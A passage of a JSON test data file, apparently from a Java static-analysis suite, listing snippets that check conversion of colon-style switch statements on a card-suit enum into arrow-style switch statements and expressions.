HEART:\n System.out.println(\"heart\");\n break;\n case DIAMOND:\n break;\n case SPADE:\n default:\n System.out.println(\"spade or club\");\n }\n }\n }" + }, + { + "description": "switchFallsThruFromDefault_noError", + "expected-problems": null, + "expected-linenumbers": [ + 431 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n break;\n case DIAMOND:\n System.out.println(\"diamond\");\n default:\n System.out.println(\"club\");\n break;\n case SPADE:\n System.out.println(\"spade\");\n }\n }\n }" + }, + { + "description": "switchWithDefaultInMiddle_error", + "expected-problems": null, + "expected-linenumbers": [ + 459 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n break;\n case DIAMOND:\n System.out.println(\"diamond\");\n return;\n default /* comment: */:\n System.out.println(\"club\");\n break;\n case SPADE:\n System.out.println(\"spade\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> System.out.println(\"heart\");\n case DIAMOND -> {\n System.out.println(\"diamond\");\n return;\n }\n default ->\n /* comment: */\n System.out.println(\"club\");\n case SPADE -> System.out.println(\"spade\");\n }\n }\n }" + }, + { + "description": "switchWithLabelledBreak_error", + "expected-problems": null, + "expected-linenumbers": [ + 510 + ], + "code": "class Test {\n public void foo(Suit suit) {\n outer:\n for (; ; ) {\n switch (suit) {\n case HEART:\n System.out.println(\"will return\");\n return;\n case DIAMOND:\n break outer;\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n outer:\n for (; ; ) {\n switch (suit) {\n case HEART -> {\n System.out.println(\"will return\");\n return;\n }\n case DIAMOND -> {\n break outer;\n }\n case SPADE, CLUB -> System.out.println(\"everything else\");\n }\n }\n }\n }" + }, + { + "description": "switchByEnum_statementSwitchWithMultipleExpressions_error", + "expected-problems": null, + "expected-linenumbers": [ + 560 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"will return\");\n return;\n case DIAMOND:\n case SPADE, CLUB:\n System.out.println(\"everything else\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n System.out.println(\"will return\");\n return;\n }\n case DIAMOND, SPADE, CLUB -> System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchByEnumCardWithThrow_error", + "expected-problems": null, + "expected-linenumbers": [ + 599 + ], + "code": "class Test {\n public void foo(Suit suit) {\n // BUG: Diagnostic contains:\n switch (suit) {\n case HEART:\n System.out.println(\"will return\");\n return;\n case DIAMOND:\n break;\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchInSwitch_error", + "expected-problems": null, + "expected-linenumbers": [ + 625 + ], + "code": "class Test {\n public void foo(Suit suit) {\n // BUG: Diagnostic contains:\n switch (suit) {\n case HEART:\n switch (suit) {\n case HEART:\n case SPADE:\n System.out.println(\"non-default\");\n break;\n default:\n System.out.println(\"do nothing\");\n }\n break;\n case DIAMOND:\n break;\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchByEnumCardWithReturnNested1_error", + "expected-problems": null, + "expected-linenumbers": [ + 659 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n break;\n case DIAMOND:\n {\n System.out.println(\"nested1\");\n break;\n }\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> System.out.println(\"heart\");\n case DIAMOND -> System.out.println(\"nested1\");\n case SPADE, CLUB -> System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchByEnumCardWithReturnNested2_error", + "expected-problems": null, + "expected-linenumbers": [ + 701 + ], + "code": "class Test {\n public void foo(Suit suit) {\n // BUG: Diagnostic contains:\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n break;\n case DIAMOND:\n {\n System.out.println(\"nested2a\");\n {\n System.out.println(\"nested2b\");\n break;\n }\n }\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchByEnumWithConditionalControl_noError", + "expected-problems": null, + "expected-linenumbers": [ + 733 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n if (true) {\n break;\n }\n case DIAMOND:\n break;\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchByEnumWithLambda_noError", + "expected-problems": null, + "expected-linenumbers": [ + 760 + ], + "code": "import java.util.function.Function;\n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n // Last statement in the HEART block is a return, but we don't want to conclude that\n // the block has definite control flow based on that\n Function x =\n (i) -> {\n while (true) {\n break;\n }\n return i;\n };\n case DIAMOND:\n break;\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "singleCaseConvertible_error", + "expected-problems": null, + "expected-linenumbers": [ + 795 + ], + "code": "class Test {\n public void foo(Suit suit) {\n // BUG: Diagnostic contains:\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n break;\n }\n }\n }" + }, + { + "description": "emptyExpressionSwitchCases_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 816 + ], + "code": "class Test {\n void foo(int value) {\n switch (value) {\n case 0 -> {}\n default -> {}\n }\n }\n }" + }, + { + "description": "nonEmptyExpressionSwitchCases_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 834 + ], + "code": "class Test {\n void foo(int value) {\n switch (value) {\n case 0 -> System.out.println(\"zero\");\n default -> {\n System.out.println(\"non-zero\");\n }\n }\n }\n }" + }, + { + "description": "dynamicWithThrowableDuringInitializationFromMethod_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 854 + ], + "code": "class Test {\n Throwable foo = bar();\n\n private static Throwable bar() {\n return new NullPointerException(\"initialized with return value\");\n }\n }" + }, + { + "description": "switchByEnum_exampleInDocumentation_error", + "expected-problems": null, + "expected-linenumbers": [ + 872 + ], + "code": "class Test {\n private void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"Red hearts\");\n break;\n case DIAMOND:\n System.out.println(\"Red diamonds\");\n break;\n case SPADE:\n // Fall through\n case CLUB:\n bar();\n System.out.println(\"Black suit\");\n }\n }\n\n private void bar() {}\n }\n \n\n class Test {\n private void foo(Suit suit) {\n switch (suit) {\n case HEART -> System.out.println(\"Red hearts\");\n case DIAMOND -> System.out.println(\"Red diamonds\");\n case SPADE, CLUB -> {\n bar();\n System.out.println(\"Black suit\");\n }\n }\n }\n\n private void bar() {}\n }" + }, + { + "description": "switchByEnum_caseHasOnlyComments_error", + "expected-problems": null, + "expected-linenumbers": [ + 921 + ], + "code": "class Test {\n private void foo(Suit suit) {\n switch (suit) {\n case HEART:\n // A comment here\n // more comments.\n case DIAMOND:\n // Diamond comment\n System.out.println(\"Heart or diamond\");\n break;\n case SPADE:\n // Fall through\n case CLUB:\n bar();\n System.out.println(\"Black suit\");\n }\n }\n\n private void bar() {}\n }\n \n\n class Test {\n private void foo(Suit suit) {\n switch (suit) {\n case HEART, DIAMOND ->\n // A comment here\n // more comments.\n // Diamond comment\n System.out.println(\"Heart or diamond\");\n case SPADE, CLUB -> {\n bar();\n System.out.println(\"Black suit\");\n }\n }\n }\n\n private void bar() {}\n }" + }, + { + "description": "switchByEnum_accumulatedComments_error", + "expected-problems": null, + "expected-linenumbers": [ + 976 + ], + "code": "class Test {\n private void foo(Suit suit) {\n switch (suit) {\n case /* red */ HEART:\n // A comment here\n // more comments.\n case /* red */ DIAMOND:\n // Diamonds comment\n case /* black */ SPADE:\n // Spades comment\n case /* black */ CLUB:\n bar();\n System.out.println(\"Any suit\");\n }\n }\n\n private void bar() {}\n }\n \n\n class Test {\n private void foo(Suit suit) {\n switch (suit) {\n case HEART, DIAMOND, SPADE, CLUB -> {\n /* red */\n // A comment here\n // more comments.\n /* red */\n // Diamonds comment\n /* black */\n // Spades comment\n /* black */\n bar();\n System.out.println(\"Any suit\");\n }\n }\n }\n\n private void bar() {}\n }" + }, + { + "description": "switchByEnum_surroundingBracesCannotRemove_error", + "expected-problems": null, + "expected-linenumbers": [ + 1031 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n {\n // The quick brown fox, jumps over the lazy dog, etc.\n break;\n }\n\n default:\n {\n throw new RuntimeException(\"Invalid type.\");\n }\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n // The quick brown fox, jumps over the lazy dog, etc.\n }\n default -> throw new RuntimeException(\"Invalid type.\");\n }\n }\n }" + }, + { + "description": "switchByEnum_surroundingBracesEmpty_error", + "expected-problems": null, + "expected-linenumbers": [ + 1075 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n {\n // The quick brown fox, jumps over the lazy dog, etc.\n throw new RuntimeException(\"Invalid.\");\n }\n\n default:\n {\n }\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART ->\n // The quick brown fox, jumps over the lazy dog, etc.\n throw new RuntimeException(\"Invalid.\");\n default -> {}\n }\n }\n }" + }, + { + "description": "switchByEnum_afterReturnComments_error", + "expected-problems": null, + "expected-linenumbers": [ + 1118 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n // before return comment\n return 123;\n // after return comment\n /* more comments */\n default:\n // default comment\n }\n return 0;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n // before return comment\n return 123;\n // after return comment\n /* more comments */\n }\n default -> {\n // default comment\n }\n }\n return 0;\n }\n }" + }, + { + "description": "i4222", + "expected-problems": null, + "expected-linenumbers": [ + 1164 + ], + "code": "public class Test {\n public static void main(String[] args) {\n switch (args.length) {\n case 0:\n {\n System.out.println(0);\n break;\n }\n case 1:\n System.out.println(1);\n break;\n case 2:\n System.out.println(2);\n System.out.println(2);\n break;\n }\n }\n }\n \n\n public class Test {\n public static void main(String[] args) {\n switch (args.length) {\n case 0 -> System.out.println(0);\n case 1 -> System.out.println(1);\n case 2 -> {\n System.out.println(2);\n System.out.println(2);\n }\n }\n }\n }" + }, + { + "description": "unnecessaryBreaks", + "expected-problems": null, + "expected-linenumbers": [ + 1209 + ], + "code": "public class Test {\n public static void main(String[] args) {\n switch (args.length) {\n case 0:\n System.out.println(0);\n break;\n default:\n // hello\n // world\n break;\n }\n }\n }\n \n\n public class Test {\n public static void main(String[] args) {\n switch (args.length) {\n case 0 -> System.out.println(0);\n default -> {\n // hello\n // world\n }\n }\n }\n }" + }, + { + "description": "switchByEnum_returnSwitch_error", + "expected-problems": null, + "expected-linenumbers": [ + 1254 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART, DIAMOND -> invoke();\n case SPADE -> throw new RuntimeException();\n default -> throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnum_multipleStatementsAndTheLastNotReturn_error", + "expected-problems": null, + "expected-linenumbers": [ + 1302 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return 1;\n case SPADE:\n System.out.println(\"hello\");\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART, DIAMOND -> 1;\n case SPADE -> {\n System.out.println(\"hello\");\n throw new RuntimeException();\n }\n default -> throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnum_middleNullCase_noError", + "expected-problems": null, + "expected-linenumbers": [ + 1347 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case null:\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n }\n }" + }, + { + "description": "switchByEnum_firstNullCase_noError", + "expected-problems": null, + "expected-linenumbers": [ + 1380 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case null:\n case DIAMOND:\n return 123;\n case SPADE:\n throw new RuntimeException(\"Spade\");\n case HEART:\n throw new RuntimeException(\"Heart\");\n case CLUB:\n throw new NullPointerException(\"Club\");\n }\n }\n }" + }, + { + "description": "switchByEnum_nullGroupedWithDefault_error", + "expected-problems": null, + "expected-linenumbers": [ + 1410 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return 1;\n case SPADE:\n System.out.println(\"hello\");\n throw new RuntimeException();\n case null:\n default:\n throw new NullPointerException();\n }\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART, DIAMOND -> 1;\n case SPADE -> {\n System.out.println(\"hello\");\n throw new RuntimeException();\n }\n case null, default -> throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnum_middleNullCase3_error", + "expected-problems": null, + "expected-linenumbers": [ + 1457 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return 1;\n case SPADE:\n System.out.println(\"hello\");\n throw new RuntimeException();\n case null:\n throw new RuntimeException(\"single null case\");\n default:\n throw new NullPointerException();\n }\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART, DIAMOND -> 1;\n case SPADE -> {\n System.out.println(\"hello\");\n throw new RuntimeException();\n }\n case null -> throw new RuntimeException(\"single null case\");\n default -> throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchWithShouldNeverHappen_error", + "expected-problems": null, + "expected-linenumbers": [ + 1506 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n // This should never happen\n int z = invoke();\n z++;\n throw new RuntimeException(\"Switch was not exhaustive at runtime \" + z);\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART, DIAMOND -> invoke();\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchCommentsBeforeFirstCase_errorAndRetained", + "expected-problems": null, + "expected-linenumbers": [ + 1559 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n // Abracadabra\n /* foo */ case HEART:\n // Card trick\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n // This should never happen\n int z = invoke();\n z++;\n throw new RuntimeException(\"Switch was not exhaustive at runtime \" + z);\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART, DIAMOND ->\n // Abracadabra\n /* foo */\n // Card trick\n invoke();\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnum_switchInReturnSwitchWithShouldNeverHappen_noError", + "expected-problems": null, + "expected-linenumbers": [ + 1617 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"hi\");\n switch (suit) {\n case HEART:\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n // This should never happen\n int z = invoke();\n z++;\n throw new RuntimeException(\"Switch was not exhaustive at runtime \" + z);\n\n default:\n System.out.println(\"default\");\n return 0;\n }\n }\n }" + }, + { + "description": "switchByEnum_exhaustiveWithDefault_error", + "expected-problems": null, + "expected-linenumbers": [ + 1660 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n String z = \"dkfj\";\n switch (z) {\n case \"\":\n case \"DIAMOND\":\n // Custom comment\n case \"SPADE\":\n return invoke();\n default:\n return 2;\n }\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n String z = \"dkfj\";\n return switch (z) {\n case \"\", \"DIAMOND\", \"SPADE\" ->\n // Custom comment\n invoke();\n default -> 2;\n };\n }\n }" + }, + { + "description": "switchByEnum_defaultFallThru_noError", + "expected-problems": null, + "expected-linenumbers": [ + 1711 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n default:\n // Fall through\n }\n return -2;\n }\n }" + }, + { + "description": "switchByEnum_alwaysThrows_noError", + "expected-problems": null, + "expected-linenumbers": [ + 1743 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n switch (suit) {\n case HEART:\n case DIAMOND:\n throw new NullPointerException();\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchWithShouldNeverHappen_errorAndRemoveShouldNeverHappen", + "expected-problems": null, + "expected-linenumbers": [ + 1774 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n switch (suit) {\n case HEART /* lhs comment */: // rhs comment\n // Fall through\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n // Custom comment - should never happen\n int z = invoke(/* block comment 0 */ );\n // Custom comment 2\n {\n z++;\n }\n throw new RuntimeException(\"Switch was not exhaustive at runtime \" + z);\n }\n System.out.println(\"don't delete 2\");\n return 0;\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n return switch (suit) {\n case HEART, DIAMOND ->\n /* lhs comment */\n // rhs comment\n invoke();\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n }\n System.out.println(\"don't delete 2\");\n return 0;\n }\n }" + }, + { + "description": "switchByEnum_deadCodeAnalysis_error", + "expected-problems": null, + "expected-linenumbers": [ + 1849 + ], + "code": "class Test {\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n try {\n System.out.println(\"don't delete 1\");\n System.out.println(\"don't delete 11\");\n switch (suit) {\n case HEART:\n case DIAMOND:\n case SPADE:\n return 1;\n case CLUB:\n throw new NullPointerException();\n }\n System.out.println(\"delete me\");\n } catch (Throwable e) {\n throw new RuntimeException(\"rethrew\");\n }\n\n // Becomes unreachable\n System.out.println(\"uh-oh\");\n return -1;\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n try {\n System.out.println(\"don't delete 1\");\n System.out.println(\"don't delete 11\");\n return switch (suit) {\n case HEART, DIAMOND, SPADE -> 1;\n case CLUB -> throw new NullPointerException();\n };\n } catch (Throwable e) {\n throw new RuntimeException(\"rethrew\");\n }\n }\n }" + }, + { + "description": "switchByEnum_deadCodeAnalysis2_error", + "expected-problems": null, + "expected-linenumbers": [ + 1908 + ], + "code": "class Test {\n int x = 3;\n\n public int foo(Suit suit) {\n if (x < 4) {\n try {\n System.out.println(\"don't delete 0\");\n synchronized (this) {\n try {\n System.out.println(\"don't delete 1\");\n System.out.println(\"don't delete 11\");\n switch (suit) {\n case HEART:\n case DIAMOND:\n case SPADE:\n return 1;\n case CLUB:\n throw new NullPointerException();\n }\n System.out.println(\"delete me\");\n } catch (Throwable e) {\n throw new RuntimeException(\"rethrew\");\n }\n }\n\n // Becomes unreachable\n System.out.println(\"uh-oh\");\n } catch (Throwable e) {\n throw new RuntimeException(\"rethrew\");\n }\n // Also becomes unreachable\n System.out.println(\"delete me too\");\n System.out.println(\"delete me three\");\n return 3;\n }\n System.out.println(\"I'm always reachable\");\n return 4;\n }\n }\n \n\n class Test {\n int x = 3;\n\n public int foo(Suit suit) {\n if (x < 4) {\n try {\n System.out.println(\"don't delete 0\");\n synchronized (this) {\n try {\n System.out.println(\"don't delete 1\");\n System.out.println(\"don't delete 11\");\n return switch (suit) {\n case HEART, DIAMOND, SPADE -> 1;\n case CLUB -> throw new NullPointerException();\n };\n } catch (Throwable e) {\n throw new RuntimeException(\"rethrew\");\n }\n }\n } catch (Throwable e) {\n throw new RuntimeException(\"rethrew\");\n }\n }\n System.out.println(\"I'm always reachable\");\n return 4;\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchWithAllEnumValuesAndDefault_errorRemoveDefault", + "expected-problems": null, + "expected-linenumbers": [ + 1994 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n switch (suit) {\n case HEART /* lhs comment */: // rhs comment\n // Fall through\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n default:\n throw new NullPointerException();\n }\n // Trailing comment\n }\n System.out.println(\"don't delete 2\");\n return 0;\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n return switch (suit) {\n case HEART, DIAMOND ->\n /* lhs comment */\n // rhs comment\n invoke();\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n default -> throw new NullPointerException();\n };\n // Trailing comment\n }\n System.out.println(\"don't delete 2\");\n return 0;\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n switch (suit) {\n case HEART /* lhs comment */: // rhs comment\n // Fall through\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n default:\n throw new NullPointerException();\n }\n }\n System.out.println(\"don't delete 2\");\n return 0;\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n return switch (suit) {\n case HEART, DIAMOND ->\n /* lhs comment */\n // rhs comment\n invoke();\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n }\n System.out.println(\"don't delete 2\");\n return 0;\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchWithAllEnumValues_retainTrailingLintComment", + "expected-problems": null, + "expected-linenumbers": [ + 2135 + ], + "code": "class Test {\n public int foo(Suit suit) {\n // LINT.\n switch (suit) {\n case HEART:\n return 1;\n case DIAMOND:\n return 2;\n case SPADE:\n return 3;\n case CLUB:\n return 4;\n }\n // LINT.\n throw new AssertionError(\"unreachable!\");\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n // LINT.\n return switch (suit) {\n case HEART -> 1;\n case DIAMOND -> 2;\n case SPADE -> 3;\n case CLUB -> 4;\n };\n // LINT.\n\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchNoFollowingStatementsInBlock_errorAndNoRemoval", + "expected-problems": null, + "expected-linenumbers": [ + 2182 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n switch (suit) {\n case HEART /* lhs comment */: // rhs comment\n // Fall through\n case DIAMOND:\n return invoke();\n case SPADE:\n throw new RuntimeException();\n case CLUB:\n throw new NullPointerException();\n }\n }\n // Custom comment - should never happen because invoke returns 123\n int z = invoke(/* block comment 0 */ );\n {\n z++;\n }\n throw new RuntimeException(\"Invoke <= 0 at runtime \");\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n return switch (suit) {\n case HEART, DIAMOND ->\n /* lhs comment */\n // rhs comment\n invoke();\n case SPADE -> throw new RuntimeException();\n case CLUB -> throw new NullPointerException();\n };\n }\n // Custom comment - should never happen because invoke returns 123\n int z = invoke(/* block comment 0 */ );\n {\n z++;\n }\n throw new RuntimeException(\"Invoke <= 0 at runtime \");\n }\n }" + }, + { + "description": "switchByEnum_groupedComments_errorAndNoRemoval", + "expected-problems": null, + "expected-linenumbers": [ + 2258 + ], + "code": "class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n switch (suit) {\n case HEART /* lhs comment */: // rhs comment\n // Another comment\n case /* sparkly */ DIAMOND /* Sparkly */:\n // Diamond\n case SPADE:\n // Before invoke\n return invoke();\n // After invoke\n /* More after invoke */\n case CLUB:\n throw new NullPointerException();\n // After last case\n }\n }\n // Custom comment - should never happen because invoke returns 123 or throws\n int z = invoke(/* block comment 0 */ );\n {\n z++;\n }\n throw new RuntimeException(\"Invoke <= 0 at runtime \");\n }\n }\n \n\n class Test {\n public int invoke() {\n return 123;\n }\n\n public int foo(Suit suit) {\n System.out.println(\"don't delete 0\");\n if (invoke() > 0) {\n System.out.println(\"don't delete 1\");\n // Preceding comment\n return switch (suit) {\n case HEART, DIAMOND, SPADE ->\n /* lhs comment */\n // rhs comment\n // Another comment\n /* sparkly */\n /* Sparkly */\n // Diamond\n // Before invoke\n invoke();\n // After invoke\n /* More after invoke */\n case CLUB -> throw new NullPointerException();\n // After last case\n };\n }\n // Custom comment - should never happen because invoke returns 123 or throws\n int z = invoke(/* block comment 0 */ );\n {\n z++;\n }\n throw new RuntimeException(\"Invoke <= 0 at runtime \");\n }\n }" + }, + { + "description": "switchByEnum_removesBracesFromSingleStatement_error", + "expected-problems": null, + "expected-linenumbers": [ + 2345 + ], + "code": "class Test {\n public int foo(Suit suit) {\n\n switch (suit) {\n case HEART:\n {\n return 0;\n }\n case SPADE:\n {\n return 1;\n }\n case DIAMOND:\n {\n return 2;\n }\n default:\n {\n throw new IllegalArgumentException(\n \"Error error error error error error error error\"\n + \"Error error error error error error error error\"\n + \" type\");\n }\n }\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n\n return switch (suit) {\n case HEART -> 0;\n case SPADE -> 1;\n case DIAMOND -> 2;\n default ->\n throw new IllegalArgumentException(\n \"Error error error error error error error error\"\n + \"Error error error error error error error error\"\n + \" type\");\n };\n }\n }" + }, + { + "description": "switchByEnum_returnSwitchVoid_noError", + "expected-problems": null, + "expected-linenumbers": [ + 2404 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n // Fall through\n case DIAMOND:\n return;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }" + }, + { + "description": "switchByEnum_returnLabelledContinue_noError", + "expected-problems": null, + "expected-linenumbers": [ + 2432 + ], + "code": "class Test {\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n continue before;\n case DIAMOND:\n return 3;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }\n }" + }, + { + "description": "switchByEnum_returnUnlabelledContinue_noError", + "expected-problems": null, + "expected-linenumbers": [ + 2463 + ], + "code": "class Test {\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n continue;\n case DIAMOND:\n return 3;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n }\n }" + }, + { + "description": "switchByEnum_returnLabelledBreak_noError", + "expected-problems": null, + "expected-linenumbers": [ + 2494 + ], + "code": "class Test {\n public int foo(Suit suit) {\n before:\n for (; ; ) {\n switch (suit) {\n case HEART:\n break before;\n case DIAMOND:\n return 3;\n case SPADE:\n throw new RuntimeException();\n default:\n throw new NullPointerException();\n }\n }\n return 0;\n }\n }" + }, + { + "description": "switchByEnum_returnYield_noError", + "expected-problems": null, + "expected-linenumbers": [ + 2526 + ], + "code": "class Test {\n public int foo(Suit suit) {\n return switch (suit) {\n case HEART:\n yield 2;\n case DIAMOND:\n yield 3;\n case SPADE:\n // Fall through\n default:\n throw new NullPointerException();\n };\n }\n }" + }, + { + "description": "switchByEnumExhaustive_qualifiedCaseLabels", + "expected-problems": null, + "expected-linenumbers": [ + 2554 + ], + "code": "class Test {\n public int foo(Suit suit) {\n switch (suit) {\n case Suit.HEART:\n return 1;\n case Suit.CLUB:\n return 2;\n case Suit.DIAMOND:\n return 3;\n case Suit.SPADE:\n return 4;\n }\n throw new AssertionError();\n }\n }\n \n\n class Test {\n public int foo(Suit suit) {\n return switch 